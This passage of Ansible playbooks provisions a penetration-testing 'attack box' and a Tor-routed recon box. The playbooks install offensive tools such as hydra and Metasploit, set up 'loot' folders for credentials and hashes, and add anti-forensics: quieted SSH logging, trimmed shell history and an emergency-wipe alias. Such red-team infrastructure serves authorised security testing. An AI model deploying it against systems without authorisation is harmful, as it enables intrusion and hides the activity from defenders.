- "{{ work_dir }}/scans/nmap"
|
||||
- "{{ work_dir }}/scans/dns"
|
||||
- "{{ work_dir }}/scans/snmp"
|
||||
- "{{ work_dir }}/scans/smb"
|
||||
- "{{ work_dir }}/scans/web"
|
||||
- "{{ work_dir }}/scans/ssl"
|
||||
- "{{ work_dir }}/scans/vulns"
|
||||
- "{{ work_dir }}/scans/ldap"
|
||||
- "{{ work_dir }}/scans/ftp"
|
||||
- "{{ work_dir }}/scans/ssh"
|
||||
- "{{ work_dir }}/scans/databases"
|
||||
- "{{ work_dir }}/scans/custom"
|
||||
- "{{ work_dir }}/scans/reachability"
|
||||
# Loot subdirectories (exactly like trashpanda.py)
|
||||
- "{{ work_dir }}/loot/credentials"
|
||||
- "{{ work_dir }}/loot/hashes"
|
||||
- "{{ work_dir }}/loot/keys"
|
||||
- "{{ work_dir }}/loot/configs"
|
||||
- "{{ work_dir }}/loot/databases"
|
||||
- "{{ work_dir }}/loot/files"
|
||||
# Tools subdirectories for organization
|
||||
- "{{ work_dir }}/tools/scripts"
|
||||
- "{{ work_dir }}/tools/windows"
|
||||
- "{{ work_dir }}/tools/linux"
|
||||
- "{{ work_dir }}/tools/web"
|
||||
- "{{ work_dir }}/tools/wireless"
|
||||
- "{{ work_dir }}/tools/privesc"
|
||||
|
||||
# Attack Box Configuration
|
||||
# Uses TrashPanda directory structure under /root/<deployment_id>
|
||||
|
||||
- name: Update package cache only (avoid grub-pc issues)
|
||||
apt:
|
||||
update_cache: yes
|
||||
cache_valid_time: 3600
|
||||
retries: 3
|
||||
delay: 10
|
||||
|
||||
- name: Install base packages with progress feedback
|
||||
ansible.builtin.apt:
|
||||
name: "{{ item }}"
|
||||
state: present
|
||||
update_cache: yes
|
||||
loop:
|
||||
- curl
|
||||
- wget
|
||||
- git
|
||||
- vim
|
||||
- htop
|
||||
- screen
|
||||
- tmux
|
||||
- python3
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- python3-dev
|
||||
- build-essential
|
||||
- binutils
|
||||
- hashcat
|
||||
- john
|
||||
- hydra
|
||||
- aircrack-ng
|
||||
- recon-ng
|
||||
- exploitdb
|
||||
- gobuster
|
||||
- dirb
|
||||
- nikto
|
||||
- whatweb
|
||||
- wapiti
|
||||
- uniscan
|
||||
- theharvester
|
||||
- dnsenum
|
||||
- dnsmap
|
||||
- dnsutils
|
||||
- whois
|
||||
- netcat-traditional
|
||||
- netcat-openbsd
|
||||
- socat
|
||||
- ncat
|
||||
- nmap
|
||||
- masscan
|
||||
- unicornscan
|
||||
- hping3
|
||||
- tcpdump
|
||||
- tshark
|
||||
- dsniff
|
||||
- arp-scan
|
||||
- nbtscan
|
||||
- enum4linux
|
||||
- smbclient
|
||||
- rpcclient
|
||||
- showmount
|
||||
- rpcinfo
|
||||
- snmp
|
||||
- snmp-mibs-downloader
|
||||
- onesixtyone
|
||||
- ldap-utils
|
||||
- sslscan
|
||||
- sslyze
|
||||
- testssl.sh
|
||||
- openssl
|
||||
- ike-scan
|
||||
- sleuthkit
|
||||
- autopsy
|
||||
- foremost
|
||||
- scalpel
|
||||
- binwalk
|
||||
- exiftool
|
||||
- steghide
|
||||
- outguess
|
||||
- stegosuite
|
||||
- hexedit
|
||||
- ghex
|
||||
- bless
|
||||
- radare2
|
||||
- gdb
|
||||
- valgrind
|
||||
- ltrace
|
||||
- strace
|
||||
- lsof
|
||||
- psmisc
|
||||
- tree
|
||||
- file
|
||||
- less
|
||||
- most
|
||||
- unzip
|
||||
- p7zip-full
|
||||
- rar
|
||||
- unrar
|
||||
- cabextract
|
||||
- cpio
|
||||
- binutils-dev
|
||||
- libc6-dev
|
||||
- gcc
|
||||
- g++
|
||||
- make
|
||||
- cmake
|
||||
- autoconf
|
||||
- automake
|
||||
- libtool
|
||||
- pkg-config
|
||||
- libssl-dev
|
||||
- libffi-dev
|
||||
- libxml2-dev
|
||||
- libxslt1-dev
|
||||
- zlib1g-dev
|
||||
- libjpeg-dev
|
||||
- libpng-dev
|
||||
- libgif-dev
|
||||
- libfreetype6-dev
|
||||
- libmagic-dev
|
||||
- libpcap-dev
|
||||
- libnetfilter-queue-dev
|
||||
- libnfnetlink-dev
|
||||
- libdnet-dev
|
||||
- libpcre3-dev
|
||||
- libgtk2.0-dev
|
||||
- libgtk-3-dev
|
||||
register: apt_install_result
|
||||
ignore_errors: true
|
||||
|
||||
- name: Show package installation progress
|
||||
debug:
|
||||
msg: "Package {{ item.item }} installation: {{ 'SUCCESS' if item.changed else 'ALREADY INSTALLED' }}"
|
||||
loop: "{{ apt_install_result.results }}"
|
||||
when: apt_install_result.results is defined
|
||||
|
||||
- name: Check if pipx is available
|
||||
ansible.builtin.command: pipx --version
|
||||
register: pipx_version_check
|
||||
failed_when: false
|
||||
|
||||
- name: Install pipx if not available
|
||||
ansible.builtin.apt:
|
||||
name: pipx
|
||||
state: present
|
||||
update_cache: yes
|
||||
when: pipx_version_check.rc != 0
|
||||
retries: 2
|
||||
delay: 5
|
||||
|
||||
- name: Display pipx availability
|
||||
debug:
|
||||
msg: "Pipx version: {{ pipx_version_check.stdout if pipx_version_check.rc == 0 else 'Pipx was not found but has been installed' }}"
|
||||
|
||||
- name: Ensure pipx is properly configured
|
||||
ansible.builtin.shell: pipx ensurepath
|
||||
args:
|
||||
executable: /bin/bash
|
||||
register: pipx_ensurepath_result
|
||||
failed_when: false
|
||||
|
||||
- name: Display pipx configuration result
|
||||
debug:
|
||||
msg: "Pipx ensurepath: {{ pipx_ensurepath_result.stdout }}"
|
||||
|
||||
- name: Upload pipx tools installation script
|
||||
ansible.builtin.copy:
|
||||
src: "../../modules/attack-box/files/install_pipx_tools.sh"
|
||||
dest: /tmp/install_pipx_tools.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Execute pipx tools installation script
|
||||
ansible.builtin.shell: /tmp/install_pipx_tools.sh
|
||||
register: pipx_install_result
|
||||
ignore_errors: true
|
||||
|
||||
- name: Display pipx installation summary
|
||||
debug:
|
||||
msg: |
|
||||
Pipx installation completed!
|
||||
Check the detailed output above for individual tool status.
|
||||
Full output captured in deployment logs.
|
||||
|
||||
- name: Display pipx installation status
|
||||
debug:
|
||||
msg: "Pipx installation {{ 'completed successfully' if pipx_install_result.rc == 0 else 'completed with some failures' }}"
|
||||
when: pipx_install_result is defined
|
||||
|
||||
- name: Install additional Python packages via pip3 (for libraries)
|
||||
ansible.builtin.pip:
|
||||
name:
|
||||
- requests
|
||||
- beautifulsoup4
|
||||
- lxml
|
||||
- selenium
|
||||
- paramiko
|
||||
- capstone
|
||||
- keystone-engine
|
||||
- unicorn
|
||||
- dnspython
|
||||
- netaddr
|
||||
- python-nmap
|
||||
state: present
|
||||
executable: pip3
|
||||
retries: 2
|
||||
delay: 5
|
||||
ignore_errors: true
|
||||
|
||||
- name: Check if Go is available
|
||||
ansible.builtin.command: go version
|
||||
register: go_version_check
|
||||
failed_when: false
|
||||
|
||||
- name: Display Go version
|
||||
debug:
|
||||
msg: "Go version: {{ go_version_check.stdout if go_version_check.rc == 0 else 'Go not found - skipping Go tools installation' }}"
|
||||
|
||||
- name: Upload Go tools installation script
|
||||
ansible.builtin.copy:
|
||||
src: "../files/install_go_tools.sh"
|
||||
dest: /tmp/install_go_tools.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Execute Go tools installation script
|
||||
ansible.builtin.shell: WORK_DIR="{{ work_dir }}" /tmp/install_go_tools.sh
|
||||
register: go_install_result
|
||||
when: go_version_check.rc == 0
|
||||
ignore_errors: true
|
||||
|
||||
- name: Display Go tools installation summary
|
||||
debug:
|
||||
msg: |
|
||||
Go tools installation completed!
|
||||
Check the detailed output above for individual tool status.
|
||||
Full output captured in deployment logs.
|
||||
|
||||
- name: Configure PATH for all installed tools
|
||||
ansible.builtin.blockinfile:
|
||||
path: /root/.bashrc
|
||||
block: |
|
||||
# Attack Box Tool Paths
|
||||
export WORK_DIR="{{ work_dir }}"
|
||||
export GOPATH="{{ work_dir }}/tools/go"
|
||||
export PATH="$PATH:/root/.local/bin" # pipx tools
|
||||
export PATH="$PATH:/usr/local/go/bin" # Go binary
|
||||
export PATH="$PATH:$GOPATH/bin" # Go tools
|
||||
export PATH="$PATH:{{ work_dir }}/tools" # Custom tools
|
||||
export PATH="$PATH:/opt/metasploit-framework/bin" # Metasploit
|
||||
|
||||
# Useful aliases for attack box
|
||||
alias workspace="cd {{ work_dir }}"
|
||||
alias tools="cd {{ work_dir }}/tools"
|
||||
alias scans="cd {{ work_dir }}/scans"
|
||||
alias loot="cd {{ work_dir }}/loot"
|
||||
alias trashpanda="python3 {{ work_dir }}/tools/{{ tool_name }}.py"
|
||||
alias ll="ls -la"
|
||||
alias la="ls -la"
|
||||
# Persistent tmux socket (prevents /tmp cleanup from killing sessions)
|
||||
export TMUX_TMPDIR="/root/.local/share/tmux"
|
||||
marker: "# {mark} ATTACK BOX CONFIGURATION"
|
||||
create: yes
|
||||
|
||||
- name: Create persistent tmux socket directory
|
||||
ansible.builtin.file:
|
||||
path: /root/.local/share/tmux
|
||||
state: directory
|
||||
mode: '0700'
|
||||
|
||||
- name: Source bashrc to apply PATH changes
|
||||
ansible.builtin.shell: source /root/.bashrc
|
||||
args:
|
||||
executable: /bin/bash
|
||||
|
||||
- name: Upload Git repositories cloning script
|
||||
ansible.builtin.copy:
|
||||
src: "../files/install_git_repos.sh"
|
||||
dest: /tmp/install_git_repos.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Execute Git repositories cloning script
|
||||
ansible.builtin.shell: WORK_DIR="{{ work_dir }}" /tmp/install_git_repos.sh
|
||||
register: git_clone_result
|
||||
ignore_errors: true
|
||||
|
||||
- name: Display Git repositories cloning summary
|
||||
debug:
|
||||
msg: |
|
||||
Git repositories cloning completed!
|
||||
Check the detailed output above for individual repository status.
|
||||
Full output captured in deployment logs.
|
||||
|
||||
- name: Install Metasploit (latest nightly build)
|
||||
shell: |
|
||||
cd /tmp
|
||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
|
||||
chmod 755 msfinstall
|
||||
./msfinstall
|
||||
args:
|
||||
creates: /opt/metasploit-framework/bin/msfconsole
|
||||
|
||||
- name: Copy TrashPanda tool to workspace directory
|
||||
copy:
|
||||
src: "../files/{{ tool_name }}.py"
|
||||
dest: "{{ work_dir }}/tools/{{ tool_name }}.py"
|
||||
mode: '0755'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
when: not (enhanced_opsec | default(false))
|
||||
|
||||
- name: Copy OPSEC monitoring scripts
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: "{{ work_dir }}/tools/scripts/"
|
||||
mode: '0755'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
loop:
|
||||
- "../files/opsec-check.sh"
|
||||
- "../files/emergency-wipe.sh"
|
||||
- "../files/trash-cleanup.sh"
|
||||
|
||||
- name: Copy OPSEC-aware shell aliases
|
||||
copy:
|
||||
src: "../files/clean-shell-aliases"
|
||||
dest: "{{ work_dir }}/tools/scripts/shell-aliases"
|
||||
mode: '0644'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Copy automation scripts to tools directory
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: "{{ work_dir }}/tools/scripts/"
|
||||
mode: '0755'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
with_fileglob:
|
||||
- "../files/*.sh"
|
||||
- "../files/*.py"
|
||||
when: not (enhanced_opsec | default(false))
|
||||
|
||||
- name: Create engagement log file
|
||||
copy:
|
||||
content: |
|
||||
# Engagement Log - {{ ansible_date_time.iso8601 }}
|
||||
# Attack Box Deployment: {{ attack_box_name | default('attack-box') }}
|
||||
# IP Address: {{ ansible_default_ipv4.address | default('N/A') }}
|
||||
#
|
||||
# Directory Structure:
|
||||
# {{ work_dir }}/tools/ - Downloaded/compiled tools and scripts
|
||||
# {{ work_dir }}/scans/ - All scan results organized by type
|
||||
# {{ work_dir }}/logs/ - Execution logs and debug output
|
||||
# {{ work_dir }}/loot/ - Extracted credentials, hashes, and sensitive data
|
||||
# {{ work_dir }}/payloads/ - Custom payloads and exploit code
|
||||
# {{ work_dir }}/targets/ - Target lists and reconnaissance data
|
||||
# {{ work_dir }}/screenshots/ - Visual evidence and GUI captures
|
||||
# {{ work_dir }}/reports/ - Draft reports and documentation
|
||||
# {{ work_dir }}/notes/ - Manual notes and observations
|
||||
# {{ work_dir }}/exploits/ - Working exploits and proof-of-concepts
|
||||
# {{ work_dir }}/wordlists/ - Custom and downloaded wordlists
|
||||
# {{ work_dir }}/pcaps/ - Network captures and traffic analysis
|
||||
#
|
||||
# Log started: {{ ansible_date_time.iso8601 }}
|
||||
|
||||
dest: "{{ work_dir }}/logs/engagement.log"
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0644'
|
||||
|
||||
- name: Create initial target template
|
||||
copy:
|
||||
content: |
|
||||
# Target List Template
|
||||
# Add targets one per line in various formats:
|
||||
#
|
||||
# Individual IPs:
|
||||
# 192.168.1.10
|
||||
# 10.0.0.5
|
||||
#
|
||||
# IP Ranges:
|
||||
# 192.168.1.1-254
|
||||
# 10.0.0.1-50
|
||||
#
|
||||
# CIDR Notation:
|
||||
# 192.168.1.0/24
|
||||
# 10.0.0.0/16
|
||||
#
|
||||
# Hostnames:
|
||||
# target.example.com
|
||||
# www.example.com
|
||||
|
||||
dest: "{{ work_dir }}/targets/targets.txt"
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0644'
|
||||
force: no
|
||||
|
||||
- name: Create bash aliases for workflow (OPSEC mode)
|
||||
lineinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "# Attack Box Aliases"
|
||||
- "export WORK_DIR='{{ work_dir }}'"
|
||||
- "alias ops='cd {{ work_dir }}'"
|
||||
- "alias tools='cd {{ work_dir }}/tools'"
|
||||
- "alias scans='cd {{ work_dir }}/scans'"
|
||||
- "alias loot='cd {{ work_dir }}/loot'"
|
||||
- "alias targets='cd {{ work_dir }}/targets'"
|
||||
- "alias reports='cd {{ work_dir }}/reports'"
|
||||
- "alias logs='cd {{ work_dir }}/logs'"
|
||||
- "alias toolkit='python3 {{ work_dir }}/tools/toolkit.py'"
|
||||
- "alias recon='{{ work_dir }}/tools/scripts/recon_automation.sh'"
|
||||
- "alias portscan='{{ work_dir }}/tools/scripts/port_scan_automation.sh'"
|
||||
- "alias webenum='{{ work_dir }}/tools/scripts/web_enum_automation.sh'"
|
||||
- "alias attack-menu='{{ work_dir }}/tools/scripts/manual_testing_menu.sh'"
|
||||
- "alias opsec='{{ work_dir }}/tools/scripts/opsec-check.sh'"
|
||||
- "alias panic='{{ work_dir }}/tools/scripts/emergency-wipe.sh'"
|
||||
- "alias clean='{{ work_dir }}/tools/scripts/trash-cleanup.sh'"
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Create bash aliases for workflow (Standard mode)
|
||||
lineinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "# Attack Box Aliases"
|
||||
- "export WORK_DIR='{{ work_dir }}'"
|
||||
- "alias workspace='cd {{ work_dir }}'"
|
||||
- "alias tools='cd {{ work_dir }}/tools'"
|
||||
- "alias scans='cd {{ work_dir }}/scans'"
|
||||
- "alias loot='cd {{ work_dir }}/loot'"
|
||||
- "alias targets='cd {{ work_dir }}/targets'"
|
||||
- "alias reports='cd {{ work_dir }}/reports'"
|
||||
- "alias logs='cd {{ work_dir }}/logs'"
|
||||
- "alias trashpanda='python3 {{ work_dir }}/tools/{{ tool_name }}.py'"
|
||||
- "alias recon='{{ work_dir }}/tools/scripts/recon_automation.sh'"
|
||||
- "alias portscan='{{ work_dir }}/tools/scripts/port_scan_automation.sh'"
|
||||
- "alias webenum='{{ work_dir }}/tools/scripts/web_enum_automation.sh'"
|
||||
- "alias attack-menu='{{ work_dir }}/tools/scripts/manual_testing_menu.sh'"
|
||||
when: not (enhanced_opsec | default(false))
|
||||
|
||||
- name: Set Go path in bashrc
|
||||
lineinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "export GOPATH={{ work_dir }}/tools/go"
|
||||
- "export PATH=$PATH:{{ work_dir }}/tools/go/bin"
|
||||
|
||||
- name: Load OPSEC shell aliases (Enhanced OPSEC mode)
|
||||
blockinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
block: |
|
||||
# OPSEC-aware shell aliases
|
||||
source {{ work_dir }}/tools/scripts/shell-aliases
|
||||
marker: "# {mark} OPSEC SHELL ALIASES"
|
||||
create: yes
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Configure hardened SSH (Enhanced OPSEC mode)
|
||||
blockinfile:
|
||||
path: "/etc/ssh/sshd_config"
|
||||
block: |
|
||||
# OPSEC hardened SSH configuration
|
||||
LogLevel QUIET
|
||||
TCPKeepAlive no
|
||||
ClientAliveInterval 300
|
||||
ClientAliveCountMax 2
|
||||
MaxAuthTries 3
|
||||
MaxSessions 2
|
||||
LoginGraceTime 60
|
||||
marker: "# {mark} OPSEC SSH HARDENING"
|
||||
backup: yes
|
||||
when: enhanced_opsec | default(false)
|
||||
register: ssh_config_changed
|
||||
|
||||
- name: Restart SSH service if configuration changed
|
||||
service:
|
||||
name: ssh
|
||||
state: restarted
|
||||
when: enhanced_opsec | default(false) and ssh_config_changed.changed
|
||||
|
||||
- name: Disable bash history for OPSEC (Enhanced OPSEC mode)
|
||||
lineinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "# OPSEC: Minimize command history"
|
||||
- "export HISTSIZE=100"
|
||||
- "export HISTFILESIZE=100"
|
||||
- "export HISTCONTROL=ignoreboth:erasedups"
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Set up Tor if requested
|
||||
block:
|
||||
- name: Configure Tor
|
||||
copy:
|
||||
content: |
|
||||
SocksPort 9050
|
||||
ControlPort 9051
|
||||
CookieAuthentication 1
|
||||
DataDirectory /var/lib/tor
|
||||
dest: /etc/tor/torrc
|
||||
backup: yes
|
||||
|
||||
- name: Start and enable Tor
|
||||
systemd:
|
||||
name: tor
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
- name: Configure proxychains for Tor
|
||||
replace:
|
||||
path: /etc/proxychains4.conf
|
||||
regexp: '^socks4.*127\.0\.0\.1.*9050.*$'
|
||||
replace: 'socks5 127.0.0.1 9050'
|
||||
when: setup_tor | default(false)
|
||||
|
||||
- name: Create themes directory
|
||||
ansible.builtin.file:
|
||||
path: "{{ work_dir }}/tools/themes"
|
||||
state: directory
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0755'
|
||||
|
||||
- name: Upload terminal theme installer script
|
||||
ansible.builtin.copy:
|
||||
src: "../files/install_terminal_themes.sh"
|
||||
dest: "{{ work_dir }}/tools/scripts/install_terminal_themes.sh"
|
||||
mode: '0755'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
|
||||
- name: Upload DC27 dconf theme file
|
||||
ansible.builtin.copy:
|
||||
src: "../files/dc27-theme.dconf"
|
||||
dest: "{{ work_dir }}/tools/themes/dc27-theme.dconf"
|
||||
mode: '0644'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
|
||||
- name: Add terminal theme alias to bashrc
|
||||
lineinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
line: "alias install-themes='WORK_DIR={{ work_dir }} {{ work_dir }}/tools/scripts/install_terminal_themes.sh'"
|
||||
create: yes
|
||||
|
||||
- name: Execute terminal theme installer during deployment
|
||||
ansible.builtin.shell: WORK_DIR="{{ work_dir }}" {{ work_dir }}/tools/scripts/install_terminal_themes.sh
|
||||
args:
|
||||
executable: /bin/bash
|
||||
register: theme_install_result
|
||||
when: install_terminal_themes | default(false)
|
||||
ignore_errors: true
|
||||
|
||||
- name: Display terminal theme installation result
|
||||
debug:
|
||||
msg: "Terminal themes {{ 'installed' if theme_install_result.rc == 0 else 'installation had issues (non-critical)' }}"
|
||||
when: install_terminal_themes | default(false) and theme_install_result is defined
|
||||
|
||||
- name: Update locate database
|
||||
command: updatedb
|
||||
ignore_errors: true
|
||||
|
||||
- name: Calculate configuration duration
|
||||
set_fact:
|
||||
config_end_time: "{{ ansible_date_time.epoch }}"
|
||||
config_duration: "{{ (ansible_date_time.epoch|int - config_start_time|int) // 60 }}"
|
||||
|
||||
- name: Display attack box configuration summary
|
||||
debug:
|
||||
msg: |
|
||||
================================================================
|
||||
ATTACK BOX CONFIGURATION COMPLETED
|
||||
================================================================
|
||||
Deployment ID: {{ deployment_id }}
|
||||
Target: {{ ansible_host }}
|
||||
Configuration Duration: {{ config_duration }} minutes
|
||||
|
||||
Directory Structure: {{ work_dir }}
|
||||
├── docs/ - Documentation and notes
|
||||
├── exploits/ - Exploit development
|
||||
├── loot/ - Extracted data and findings
|
||||
├── reports/ - Assessment reports
|
||||
├── scripts/ - Custom automation scripts
|
||||
├── tools/ - Security tools
|
||||
│ ├── go/bin/ - Go-based tools
|
||||
│ └── git/ - Git repositories
|
||||
└── wordlists/ - Custom wordlists
|
||||
|
||||
Tools Installed:
|
||||
- Base packages: ~100 security tools
|
||||
- Python tools: ~30 tools via pipx
|
||||
- Go tools: ~12 reconnaissance tools
|
||||
- Git repositories: ~20 tool repositories
|
||||
|
||||
Environment:
|
||||
- PATH configured for all tools
|
||||
- pipx tools accessible system-wide
|
||||
- Go tools in {{ work_dir }}/tools/go/bin
|
||||
|
||||
Next Steps:
|
||||
1. SSH into the box: ssh -i a-{{ deployment_id }} root@{{ ansible_host }}
|
||||
2. Navigate to working directory: cd {{ work_dir }}
|
||||
3. Start your assessment activities
|
||||
|
||||
================================================================
|
||||
|
||||
- name: Display setup completion information (OPSEC mode)
|
||||
debug:
|
||||
msg:
|
||||
- "Attack Box Setup Complete!"
|
||||
- ""
|
||||
- "Main Directory: {{ work_dir }}"
|
||||
- "Tools Location: {{ work_dir }}/tools"
|
||||
- "Scan Results: {{ work_dir }}/scans"
|
||||
- "Loot Storage: {{ work_dir }}/loot"
|
||||
- ""
|
||||
- "Quick Commands:"
|
||||
- " ops - Go to main directory"
|
||||
- " toolkit [targets] - Run toolkit enumeration"
|
||||
- " recon <target> - Run reconnaissance automation"
|
||||
- " portscan <target> - Run port scan automation"
|
||||
- " webenum <target> - Run web enumeration automation"
|
||||
- " attack-menu - Launch manual testing menu"
|
||||
- " opsec - Check OPSEC status"
|
||||
- " panic - Emergency sanitization"
|
||||
- " clean - Clean operational artifacts"
|
||||
- ""
|
||||
- "Start here: {{ work_dir }}/targets/targets.txt"
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Display setup completion information (Standard mode)
|
||||
debug:
|
||||
msg:
|
||||
- "TrashPanda Attack Box Setup Complete!"
|
||||
- ""
|
||||
- "Main Directory: {{ work_dir }}"
|
||||
- "Tools Location: {{ work_dir }}/tools"
|
||||
- "Scan Results: {{ work_dir }}/scans"
|
||||
- "Loot Storage: {{ work_dir }}/loot"
|
||||
- ""
|
||||
- "Quick Commands:"
|
||||
- " workspace - Go to main directory"
|
||||
- " trashpanda [targets] - Run TrashPanda enumeration"
|
||||
- " recon <target> - Run reconnaissance automation"
|
||||
- " portscan <target> - Run port scan automation"
|
||||
- " webenum <target> - Run web enumeration automation"
|
||||
- " attack-menu - Launch manual testing menu"
|
||||
- ""
|
||||
- "Start here: {{ work_dir }}/targets/targets.txt"
|
||||
when: not (enhanced_opsec | default(false))
|
||||
@@ -0,0 +1,263 @@
|
||||
---
|
||||
# Quick Recon Box Configuration - OPSEC + Basic Tools
|
||||
# Includes Tor, VPN, and basic reconnaissance tools only
|
||||
|
||||
- name: Record configuration start time
|
||||
set_fact:
|
||||
config_start_time: "{{ ansible_date_time.epoch }}"
|
||||
|
||||
- name: Display quick recon box configuration info
|
||||
debug:
|
||||
msg: |
|
||||
================================================================
|
||||
CONFIGURING QUICK RECON BOX
|
||||
================================================================
|
||||
Deployment ID: {{ deployment_id }}
|
||||
Attack Box Name: {{ attack_box_name }}
|
||||
Target: OPSEC-focused reconnaissance with basic tools
|
||||
Features: Tor + VPN + Basic Tools (no complex installations)
|
||||
================================================================
|
||||
|
||||
# Set up variables
|
||||
- name: Set common variables
|
||||
set_fact:
|
||||
target_user: "root"
|
||||
work_dir: "{{ work_dir | default('/root/' + deployment_id) }}"
|
||||
deployment_id: "{{ deployment_id }}"
|
||||
attack_box_name: "{{ attack_box_name }}"
|
||||
|
||||
# Core directories
|
||||
- name: Create core working directories
|
||||
ansible.builtin.file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0755'
|
||||
loop:
|
||||
- "{{ work_dir }}"
|
||||
- "{{ work_dir }}/scans"
|
||||
- "{{ work_dir }}/loot"
|
||||
- "{{ work_dir }}/notes"
|
||||
- "/root/tools"
|
||||
|
||||
# Update system and install essential packages
|
||||
- name: Update package cache
|
||||
ansible.builtin.apt:
|
||||
update_cache: yes
|
||||
cache_valid_time: 3600
|
||||
|
||||
- name: Install minimal essential tools + OPSEC packages
|
||||
ansible.builtin.apt:
|
||||
name:
|
||||
# Core system tools
|
||||
- curl
|
||||
- wget
|
||||
- git
|
||||
- vim
|
||||
- tmux
|
||||
- htop
|
||||
- unzip
|
||||
- python3
|
||||
- jq
|
||||
# Basic network reconnaissance
|
||||
- nmap
|
||||
- dnsutils
|
||||
- whois
|
||||
- netcat-traditional
|
||||
- traceroute
|
||||
# OPSEC tools
|
||||
- tor
|
||||
- torsocks
|
||||
- proxychains4
|
||||
- openvpn
|
||||
- easy-rsa
|
||||
state: present
|
||||
install_recommends: no
|
||||
|
||||
- name: Configure Tor for anonymous reconnaissance
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
# Tor configuration for Quick Recon Box
|
||||
DataDirectory /var/lib/tor
|
||||
PidFile /var/run/tor/tor.pid
|
||||
RunAsDaemon 1
|
||||
User debian-tor
|
||||
Log notice file /var/log/tor/notices.log
|
||||
SocksPort 9050
|
||||
SocksPolicy accept *
|
||||
ControlPort 9051
|
||||
CookieAuthentication 1
|
||||
NewCircuitPeriod 30
|
||||
MaxCircuitDirtiness 600
|
||||
UseEntryGuards 1
|
||||
ExitPolicy accept *:53
|
||||
ExitPolicy accept *:80
|
||||
ExitPolicy accept *:443
|
||||
ExitPolicy accept *:993
|
||||
ExitPolicy accept *:995
|
||||
ExitPolicy reject *:*
|
||||
CircuitBuildTimeout 10
|
||||
LearnCircuitBuildTimeout 0
|
||||
dest: /etc/tor/torrc
|
||||
backup: yes
|
||||
|
||||
- name: Configure proxychains for Tor routing
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
# Proxychains configuration for Tor
|
||||
strict_chain
|
||||
proxy_dns
|
||||
remote_dns_subnet 224
|
||||
tcp_read_time_out 15000
|
||||
tcp_connect_time_out 8000
|
||||
localnet 127.0.0.0/255.0.0.0
|
||||
quiet_mode
|
||||
|
||||
[ProxyList]
|
||||
socks4 127.0.0.1 9050
|
||||
dest: /etc/proxychains4.conf
|
||||
backup: yes
|
||||
|
||||
- name: Start and enable Tor service
|
||||
ansible.builtin.systemd:
|
||||
name: tor
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
# VPN Setup
|
||||
- name: Create OpenVPN directory structure
|
||||
ansible.builtin.file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
loop:
|
||||
- /etc/openvpn/server
|
||||
- /etc/openvpn/client
|
||||
- "{{ work_dir }}/vpn"
|
||||
|
||||
- name: Generate basic OpenVPN server config for quick recon
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
port 1194
|
||||
proto udp
|
||||
dev tun
|
||||
server 10.8.0.0 255.255.255.0
|
||||
ifconfig-pool-persist ipp.txt
|
||||
keepalive 10 120
|
||||
cipher AES-256-CBC
|
||||
persist-key
|
||||
persist-tun
|
||||
status openvpn-status.log
|
||||
log-append /var/log/openvpn.log
|
||||
verb 3
|
||||
explicit-exit-notify 1
|
||||
dest: /etc/openvpn/server/quick-recon.conf
|
||||
mode: '0644'
|
||||
when: setup_vpn | default(false) | bool
|
||||
|
||||
- name: Create VPN client template
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
# Quick Recon VPN Client Config
|
||||
# Server: {{ ansible_default_ipv4.address }}
|
||||
# Generated: {{ ansible_date_time.iso8601 }}
|
||||
|
||||
client
|
||||
dev tun
|
||||
proto udp
|
||||
remote {{ ansible_default_ipv4.address }} 1194
|
||||
resolv-retry infinite
|
||||
nobind
|
||||
persist-key
|
||||
persist-tun
|
||||
cipher AES-256-CBC
|
||||
verb 3
|
||||
|
||||
# Add certificates here:
|
||||
# <ca>
|
||||
# </ca>
|
||||
# <cert>
|
||||
# </cert>
|
||||
# <key>
|
||||
# </key>
|
||||
dest: "{{ work_dir }}/vpn/quick-recon-client.ovpn"
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0644'
|
||||
when: setup_vpn | default(false) | bool
|
||||
|
||||
